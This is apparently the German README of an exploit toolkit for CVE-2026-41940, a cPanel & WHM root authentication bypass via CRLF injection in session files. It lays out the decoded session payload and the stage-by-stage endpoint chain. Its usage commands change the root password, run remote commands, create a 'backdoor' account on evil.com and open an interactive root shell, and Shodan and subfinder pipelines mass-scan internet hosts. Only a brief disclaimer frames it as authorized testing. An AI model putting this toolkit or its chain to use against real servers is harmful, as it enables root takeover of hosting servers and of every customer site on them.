
Automatisierter Scanner & Post-Exploitation-Toolkit für CVE-2026-41940 — cPanel & WHM Root-Authentifizierungs-Bypass via CRLF-Injection in Session-Dateien
Englisch | فارسی (Persisch)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
Automatisierter Scanner & Post-Exploitation-Toolkit für CVE-2026-41940 — cPanel- & WHM-Root-Authentifizierungs-Bypass durch CRLF-Injection in Sitzungsdateien.
CPANEL CVE EXPLOIT ist ein Python-Tool in einer einzigen Datei, das für autorisierte Sicherheitsüberprüfungen von cPanel- & WHM-Servern entwickelt wurde, die für CVE-2026-41940 anfällig sind.
Die Schwachstelle ermöglicht es einem nicht authentifizierten entfernten Angreifer, WHM-Sitzungsdateien durch CRLF-Injection im Authorization: Basic-Header zu manipulieren (zu vergiften), wodurch die Authentifizierung umgangen und WHM-Zugriff mit Root-Rechten ohne gültige Anmeldedaten erlangt wird.
In anfälligen Versionen von cPanel & WHM ruft saveSession() in Session.pm filter_sessiondata() nach dem Schreiben der Sitzungsdatei auf die Festplatte auf. Ein Angreifer kann CRLF-Zeichen (\r\n) über den HTTP-Header Authorization: Basic injizieren, die direkt in die Sitzungsdatei auf der Festplatte geschrieben werden – und so die Bereinigung umgehen.
Das Tool verwendet einen Base64-kodierten Payload, der wie folgt dekodiert wird:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Diese Felder simulieren eine vollständig authentifizierte WHM-Root-Sitzung, einschließlich 2FA-Umgehung (tfa_verified=1) und Root-Rechte-Flag (hasroot=1).
cPanel hat filter_sessiondata() so verschoben, dass es vor dem Schreibvorgang der Sitzung in Session.pm ausgeführt wird.
Die Exploit-Kette besteht aus 5 Phasen (Phase 0–4):
flowchart TD
A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
B --> C[Stage 2: CRLF Injection via Authorization Header]
C --> D[Stage 3: Session Propagation via do_token_denied]
D --> E[Stage 4: Verify Root Access via json-api/version]
E --> F{Vulnerable?}
F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
F -->|No| H[Skip Target]
A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]Hinweis: Ziele mit gepatchten Builds werden beim Scannen automatisch markiert und übersprungen.
| Paket | Zweck |
|---|---|
selenium | Browser-Autologin (--selenium) |
| Chrome / Firefox | Browser-Engine für Selenium |
pip install -r requirements.txt # optional — selenium only
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
Kein Build-Schritt erforderlich. Direkt ausführen:
python3 test-cve.py --help
# Scan a single WHM target
python3 test-cve.py -u https://target.com:2087
# Scan with post-exploit: list all cPanel accounts
python3 test-cve.py -u https://target.com:2087 --action list
# Mass scan from file, 20 threads, save JSON report
python3 test-cve.py -l targets.txt -t 20 -o results.json
usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
[--action {list,passwd,cmd,exec,info,version,shell,adduser}]
[--passwd PASSWD] [--cmd CMD]
[--new-user NEW_USER] [--new-domain NEW_DOMAIN]
[--read-file READ_FILE] [--selenium]
[--engine {chrome,firefox}] [--browser] [--check-rce]
[-o OUTPUT] [--no-color]
| Flag | Beschreibung |
|---|---|
-u, --url |
| Flag | Beschreibung |
|---|---|
-o, --output | Ergebnisse in JSON-Datei speichern |
--no-color | ANSI-Farbausgabe deaktivieren |
Post-Exploit-Flags funktionieren nur bei einzelnen Zielen (
-u, nicht beim Massenscan).
# Change root password after bypass
python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!'
# Execute remote command
python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
# Create backdoor cPanel account
python3 test-cve.py -u https://target.com:2087 \
--action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!'
# Open interactive WHM shell
python3 test-cve.py -u https://target.com:2087 --action shell
# Auto-login via Chrome
python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome
# Manual browser login (prints JS for DevTools console)
python3 test-cve.py -u https://target.com:2087 --browser
Mit --action shell starten für eine vollständige interaktive Sitzung:
[email protected] ▶ help
id / whoami / hostname / version → server info
ls [path] → file listing
cat [path] → read file contents
accounts → list cPanel accounts
addadmin <user> <pass> → create WHM admin/reseller
passwd <newpass> → change root password
exec <command> → run OS command
exit / quit → exit shell
Beispiel:
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
user=webuser1 domain=example.com [email protected]
user=webuser2 domain=test.com [email protected]
[email protected] ▶ cat /etc/passwd
[email protected] ▶ exit
python3 test-cve.py -l targets.txt -t 20 -o results.json
cat urls.txt | python3 test-cve.py
# subfinder + httpx pipeline
subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30
# Shodan pipeline
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json
| Format | Beispiel |
|---|---|
| Vollständige URL | https://192.168.1.1:2087 |
| IP + Port | 192.168.1.1 2087 |
| Shodan-Ausgabe | Automatisch per Regex geparst |
| ANSI-gefärbte Ausgabe | Automatisch entfernt |
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"WHM"
ssl:"cpanel" port:2087
Ergebnisse werden als JSON gespeichert, wenn -o results.json verwendet wird:
{
"scanner": "cPanelSniper v2.0",
"cve": "CVE-2026-41940",
"timestamp": "2026-05-23T12:00:00.000000",
"findings": [
{
"severity": "CRIT",
"title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
"target": "https://target.com:2087",
"canonical": "server.target.com",
"session": "root:SessionName",
"token": "/cpsess1234567890",
"version": "11.126.0.50",
"api_url": "https://target.com:2087/cpsess1234567890/json-api/version",
"evidence": "{\"version\":\"11.126.0.50\"...}",
"cve": "CVE-2026-41940",
"cvss": "10.0",
"timestamp": "2026-05-23T12:00:05.000000"
}
]
}
══════════════════════════════════════════════════════════════════════
cPanelSniper — CVE-2026-41940 Scan Complete
Time: 12.4s · Targets: 50
──────────────────────────────────────────────────────────────────────
⚡ 2 VULNERABLE TARGET(S)
Target : https://victim1.com:2087
Version : 11.126.0.50
Token : /cpsess1234567890
API URL : https://victim1.com:2087/cpsess1234567890/json-api/version
Evidence : {"version":"11.126.0.50"...}
══════════════════════════════════════════════════════════════════════
$ python3 test-cve.py -u https://target.com:2087
Configuration:
Targets : 1
Threads : 10
Timeout : 15s
Action : scan only
12:00:01 [INFO] Canonical hostname discovered: server.target.com
12:00:02 [ OK] Stage1: preauth session = root:abc123...
12:00:03 [ OK] Stage2: HTTP 307 → token=/cpsess1234567890
12:00:04 [ OK] Stage3: HTTP 401 — do_token_denied gadget fired
12:00:05 [INFO] Stage4: HTTP 200 {"version":"11.126.0.50"...}
12:00:05 [PWND] CVE-2026-41940 CONFIRMED — WHM root access! (v11.126.0.50 — CONFIRMED vulnerable)
12:00:05 [PWND] Token : /cpsess1234567890
12:00:05 [PWND] Session : root:abc123...
12:00:05 [PWND] Version : 11.126.0.50
12:00:05 [PWND] API URL : https://target.com:2087/cpsess1234567890/json-api/version
cpanel-cve-exploit/
├── test-cve.py # Main scanner & exploit tool (single file)
├── requirements.txt # Optional: selenium
├── README.md # English documentation
└── README.fa.md # Persian documentation (فارسی)
NUR FÜR AUTORISIERTE SICHERHEITSTESTS
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Penetrationstests bereitgestellt.
Mit der Nutzung dieses Tools stimmen Sie zu, es verantwortungsbewusst und in Übereinstimmung mit allen geltenden Gesetzen zu verwenden.
2087 (HTTPS)Für Sicherheitsforscher entwickelt · Verantwortungsvoll nutzen
| Eigenschaft | Wert |
|---|
| CVE | CVE-2026-41940 |
| Schweregrad | Kritisch |
| CVSS | 10.0 |
| Angriffsvektor | Netzwerk / Nicht authentifiziert |
| Auswirkung | Voller WHM-Root-Zugriff |
| Standardport | 2087 (WHM) |
| Status | Ausnutzung in freier Wildbahn bestätigt (Apr. 2026) |
| Phase | Endpunkt | Zweck |
|---|
| 0 | /openid_connect/cpanelid | Kanonischen Hostnamen per 307-Weiterleitung automatisch ermitteln |
| 1 | /login/?login_only=1 | Preauth-whostmgrsession-Cookie mit falschen Anmeldedaten abrufen |
| 2 | / | CRLF-vergifteten Authorization: Basic-Header in die Sitzungsdatei injizieren |
| 3 | /scripts2/listaccts | do_token_denied-Gadget auslösen, um die Sitzung in den Cache zu schreiben |
| 4 | /{token}/json-api/version | Root-Zugriff bestätigen — HTTP 200 mit Versions-JSON |
| Funktion | Beschreibung |
|---|
| Einzelziel-Scan | Vollständige Exploit-Kette gegen eine WHM-URL |
| Massenscan | Multithread-Scan aus Datei oder stdin |
| Versionserkennung | Automatischer Vergleich gepatchter/anfälliger Versionen |
| Post-Exploit-API | Passwortänderung, Befehlsausführung, Kontoliste, Benutzererstellung |
| Interaktive Shell | Integrierte WHM-Root-Shell mit Dateilesen & API-Befehlen |
| Selenium-Login | Sitzungscookie automatisch in Chrome/Firefox injizieren |
| Manueller Browser-Fallback | JavaScript-Consolen-Snippets für manuelles WHM-Login |
| RCE-Prüfung | Schnelle id / uname -a-Überprüfung nach dem Bypass |
| JSON-Export | Alle Ergebnisse in einem strukturierten JSON-Bericht speichern |
| Pipeline-tauglich | Funktioniert mit httpx-, subfinder-, shodan- und awk-Pipelines |
| Nur Stdlib | Keine pip-Abhängigkeiten für die Kernfunktionen erforderlich |
| Farbige Ausgabe | Echtzeit-Phasenprotokollierung mit Schweregrad-Indikatoren |
| Zweig | Patch ab | Status |
|---|
| 11.110.x | 11.110.0.97 | Vor Patch anfällig |
| 11.118.x | 11.118.0.63 | Vor Patch anfällig |
| 11.126.x | 11.126.0.54 | Vor Patch anfällig |
| 11.132.x | 11.132.0.29 | Vor Patch anfällig |
| 11.134.x | 11.134.0.20 | Vor Patch anfällig |
| 11.136.x | 11.136.0.5 | Vor Patch anfällig |
Einzelziel-URL (z. B. https://host:2087) |
-l, --list | Datei mit URLs, eine pro Zeile |
--hostname | Kanonischen Host-Header überschreiben (standardmäßig automatisch ermittelt) |
| Flag | Standard | Beschreibung |
|---|
-t, --threads | 10 | Anzahl gleichzeitiger Scan-Threads |
--timeout | 15 | HTTP-Timeout in Sekunden |
--rate-limit | 0 | Verzögerung (Sekunden) zwischen Zielübermittlungen |
| Aktion | Flag | Beschreibung |
|---|
| Nur scannen | (Standard) | Exploit-Kette ausführen und Schwachstelle melden |
| Konten auflisten | --action list | Alle cPanel-Konten über die WHM-API auflisten |
| Passwort ändern | --action passwd --passwd <pass> | WHM-Root-Passwort ändern |
| Befehl ausführen | --action cmd --cmd "id;whoami" | OS-Befehl über die WHM-Exec-API ausführen |
| Serverinfo | --action info | Hostname, Auslastung, Festplatte, Version abrufen |
| Version abrufen | --action version | cPanel/WHM-Version über die API abrufen |
| Konto erstellen | --action adduser --new-user u --new-domain d.com --passwd p | Neues cPanel-Konto erstellen |
| Interaktive Shell | --action shell | Interaktive WHM-Root-Shell starten |
| RCE-Prüfung | --check-rce | id;uname -a nach erfolgreichem Bypass ausführen |
| Selenium-Login | --selenium [--engine chrome|firefox] | Automatisch im Browser beim WHM-Dashboard anmelden |
| Manueller Browser | --browser | JavaScript-Consolen-Befehle für manuelles Login ausgeben |